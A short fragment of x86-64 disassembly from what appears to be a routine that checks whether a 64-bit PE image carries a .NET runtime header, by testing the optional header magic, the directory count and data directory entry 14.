jmp 0x140014341
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014311
xor al, al
jmp 0x140014341
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014323
xor al, al
jmp 0x140014341
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001433f
xor al, al
jmp 0x140014341
mov al, 1
add rsp, 0x38
ret